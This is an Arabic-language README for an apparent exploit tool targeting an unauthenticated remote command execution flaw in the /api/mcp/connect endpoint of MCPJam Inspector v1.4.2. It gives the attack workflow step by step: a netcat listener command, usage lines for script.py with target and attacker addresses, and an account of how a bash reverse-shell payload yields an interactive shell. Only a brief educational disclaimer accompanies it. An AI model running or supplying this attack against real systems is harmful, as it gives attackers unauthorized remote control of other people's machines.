MCPJam Inspector v1.4.2 - استغلال تنفيذ الأوامر عن بعد (RCE)

وصف الثغرة

يحتوي MCPJam Inspector على ثغرة تنفيذ أوامر عن بعد (RCE) بدون مصادقة في نقطة النهاية /api/mcp/connect. تسمح الثغرة للمهاجمين بتنفيذ أوامر عشوائية عن طريق إرسال حمولة ضارة لتكوين خادم MCP.

تقبل نقطة النهاية حمولة JSON تحتوي على كائن serverConfig يحتوي على مصفوفة command و args، والتي يتم تنفيذها مباشرة على النظام دون تحقق أو تعقيم مناسب.

الإصدارات المتأثرة

• MCPJam Inspector الإصدار 1.4.2 والإصدارات السابقة المحتملة

الاستخدام

المتطلبات الأساسية

• بايثون 3.6+
• مكتبة requests: pip install requests
• netcat أو socat للمستمع

بداية سريعة

المحطة 1 - تشغيل المستمع:

nc -lvnp 4444

المحطة 2 - تشغيل الاستغلال:

python3 script.py <TARGET_IP> -l <YOUR_IP> --lport 4444

أمثلة

# الوضع الافتراضي (المنفذ 6274، منفذ الاتصال 4444)
python3 script.py <TARGET_IP> -l <YOUR_IP>

# منفذ MCPJam مخصص
python3 script.py <TARGET_IP> -p 6274 -l <YOUR_IP>

# منفذ مستمع مخصص
python3 script.py <TARGET_IP> -l <YOUR_IP> --lport 5555

كيف يعمل

1. يتحقق السكريبت من أن MCPJam قابل للوصول على الهدف
2. يبني حمولة خادم MCP خبيثة مع شل عكسي bash
3. يرسل الحمولة إلى نقطة النهاية /api/mcp/connect
4. يعالج MCPJam الأمر ويبدأ اتصال الشل العكسي
5. يتلقى المستخدم شل تفاعلي على المستمع

إخلاء مسؤولية

⚠️ إخلاء المسؤولية:

يتم توفير هذا الاستغلال للأغراض التعليمية واختبار الأمان المصرح به فقط. الوصول غير المصرح به إلى أنظمة الحاسوب غير قانوني. المستخدمون مسؤولون وحدهم عن:

• الحصول على التصريح المناسب قبل اختبار أي أنظمة
• الامتثال لجميع القوانين واللوائح المعمول بها
• أي أضرار أو عواقب قانونية ناتجة عن سوء الاستخدام

لا يتحمل المؤلف أي مسؤولية عن سوء الاستخدام أو الأضرار الناجمة عن هذه الأداة. استخدم على مسؤوليتك الخاصة.

التفاصيل التقنية

المكون	القيمة
نقطة النهاية الضعيفة	/api/mcp/connect
الطريقة	POST
المصادقة	غير مطلوبة
التأثير	تنفيذ أوامر عن بعد بدون مصادقة